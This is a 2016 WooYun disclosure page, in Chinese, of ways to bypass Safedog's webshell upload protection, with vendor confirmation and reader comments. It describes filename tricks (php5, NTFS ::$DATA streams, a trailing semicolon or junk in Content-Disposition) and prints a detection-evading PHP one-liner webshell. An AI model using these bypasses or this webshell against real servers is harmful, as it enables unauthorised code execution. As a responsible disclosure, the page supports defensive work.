当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0171345

漏洞标题:网站安全狗webshell防御功能完全绕过(多种方法/适用于多种语言环境)

相关厂商:安全狗

漏洞作者: izy

提交时间:2016-01-20 17:13

修复时间:2016-04-11 16:08

公开时间:2016-04-11 16:08

漏洞类型:设计错误/逻辑缺陷

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-20: 细节已通知厂商并且等待厂商处理中
2016-01-21: 厂商已经确认,细节仅向厂商公开
2016-01-24: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-03-16: 细节向核心白帽子及相关领域专家公开
2016-03-26: 细节向普通白帽子公开
2016-04-05: 细节向实习白帽子公开
2016-04-11: 细节向公众公开

简要描述:

: )

详细说明:

测试环境:
win2008+php5+mysql5+apache+最新下载安全狗
首先第一种针对windows的绕过:

屏幕快照 2016-01-20 下午1.01.20.png


首先直接上传一个webshell,没有任意修改下肯定被拦截

屏幕快照 2016-01-20 下午1.07.59.png


然后修改webshell内容为1111,还是被拦截,发现这不是重点,重点是文件名为1.php这被检测到了

屏幕快照 2016-01-20 下午1.09.05.png


然后我们对文件名fuzz,发现如果split “.”这个字符如果出现php也会被拦截,例如:1.xxx.php.aaax.da
这次我们上传1.php5发现传上去了,当然这种方法绕过了检测,但并不是所有情况都会解析php5为php脚本

屏幕快照 2016-01-20 下午1.21.09.png


下面一种情况:
因为我们上面发现如果.php后面有字符就可以bypass,例如php5 phpa php: php@这样的
知道了bypass方法,我们再来大概看一下windows的特性NTFS ADS
一个完整的流的格式,如下:<filename>:<stream name>:<stream type>
所以我们可以用<filename>:<stream name>:<stream type> 这样的类型来访问创建文件
首先我们可以创建一个1.asp的文件夹,如果是iis有问题的版本就会对1.asp/xx解析成asp脚本
1.asp::$INDEX_ALLOCATION

屏幕快照 2016-01-20 下午1.32.47.png


屏幕快照 2016-01-20 下午1.30.21.png


也可以直接上传一个shell,使用$DATA流,上传1.php::$DATA,但是发现被拦截了
然后去掉了两边的双引号,发现成功绕过安全狗传上去了

屏幕快照 2016-01-20 下午1.52.19.png


但是直接访问3.php被拦截,如果传上去不能访问也多打意义对吧

屏幕快照 2016-01-20 下午1.53.11.png


在我多次测试后发现,被拦截的都是安全狗webshell查杀功能能查杀的文件,如果我们换成webshell查不出来的呢?那不就bypass了?
换个过狗的一句话传上去

<?php
function aa($shell)
{
assert($shell);
}
aa($_REQUEST['pass']);
?>


成功绕过!!

屏幕快照 2016-01-20 下午1.55.36.png


如果小伙伴们最后测试用菜刀无法连接,但是可以手工访问,那就中转一下,在数据加密的情况下,是无法检测出来的!
所以我们现在可以绕过所有的防御了:
webshell上传 -> webshell访问 ->webshell执行
下面第二种绕过,完全适用于任何系统:
通过上面的测试,猜到你们都是用了正则来检测
然后测试Content-Disposition: form-data; name="userfile"; filename=4.php;
注意4.php;后面有个分号
shell成功传上去了,asp,jsp也不例外

屏幕快照 2016-01-20 下午2.02.45.png


第三种方法,程序与服务器之间的差异:
Content-Disposition: form-data111111; name="userfile"; filename=5.php
form-data这是可以任意插入,服务器容错下是可以上传的,但是安全狗没做这样的容错,所以在使用正则的时候一定要注意这样的情况

屏幕快照 2016-01-20 下午2.04.38.png


最后不为别的,只希望你们越做越好,提升国内安全水平!

漏洞证明:

屏幕快照 2016-01-20 下午2.02.45.png

修复方案:

xxx

版权声明:转载请注明来源 izy@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2016-01-21 11:09

厂商回复:

这句话说的很好,最后不为别的,只希望你们越做越好,提升国内安全水平!我们也是这么希望的,非常感谢白帽子!

最新状态:

暂无


漏洞评价:

评价

  1. 2016-01-20 17:17 | 乌云白帽子 ( 路人 | Rank:19 漏洞数:7 | 路人甲)

    S

  2. 2016-01-20 17:22 | Msyb ( 实习白帽子 | Rank:53 漏洞数:14 | 非常荣幸加入乌云。)

    前排

  3. 2016-01-20 18:39 | ShAdow丶 ( 实习白帽子 | Rank:93 漏洞数:15 )

    语言还是语音呢 -。-

  4. 2016-01-20 19:19 | 骸骸 ( 实习白帽子 | Rank:38 漏洞数:8 )

    语言还是语音呢 -。-

  5. 2016-01-20 19:38 | Yang ( 普通白帽子 | Rank:331 漏洞数:107 | 作为菜鸟,大米手机摔破了怎么办?)

    评级为SSSSSSSSSSSSSSSS

  6. 2016-01-20 21:26 | 玉林嘎 认证白帽子 ( 普通白帽子 | Rank:933 漏洞数:107 )

    ...

  7. 2016-01-27 21:12 | sangfor.org ( 实习白帽子 | Rank:52 漏洞数:25 | 天下熙熙,皆为利来;天下攘攘,皆为利往...)

    天外有天 人外有人

  8. 2016-02-09 01:14 | 抚琴听海 ( 路人 | Rank:12 漏洞数:6 | 交流qq 752247101)

    大牛 能不能交流下这个哦

  9. 2016-02-15 10:16 | 安全狗(乌云厂商)

    @抚琴听海 你想交流啥?

  10. 2016-02-16 12:59 | 你大爷在此 百无禁忌 ( 路人 | Rank:16 漏洞数:9 | 迎风尿三丈 顺风八十米)

    @安全狗 你管人家交流啥

  11. 2016-02-16 14:12 | 乌云白帽子 ( 路人 | Rank:19 漏洞数:7 | 路人甲)

    @安全狗 现在有个站有最新版安全狗、求注入绕过方法!~

  12. 2016-03-26 11:16 | 小杰哥 ( 普通白帽子 | Rank:251 漏洞数:35 | 我不是 T0n9 和 T0n9@X1a0J1e 的大号!)

    @乌云白帽子 现在有个站有最新版安全狗、求注入绕过方法!~

  13. 2016-03-28 08:43 | 安全狗(乌云厂商)

    @乌云白帽子 不给

  14. 2016-03-28 10:40 | 黑暗游侠 ( 普通白帽子 | Rank:1784 漏洞数:269 | 123)

    我他妈醉了。。。 测试代码我以为还有别的 坑。

  15. 2016-03-28 11:00 | 安全狗(乌云厂商)

    @黑暗游侠 没时间解释了,赶紧来提交一个漏洞压压惊吧!

  16. 2016-03-29 21:27 | ucifer ( 普通白帽子 | Rank:228 漏洞数:72 | 萌萌哒~)

    每次看你漏洞都能学到一些东西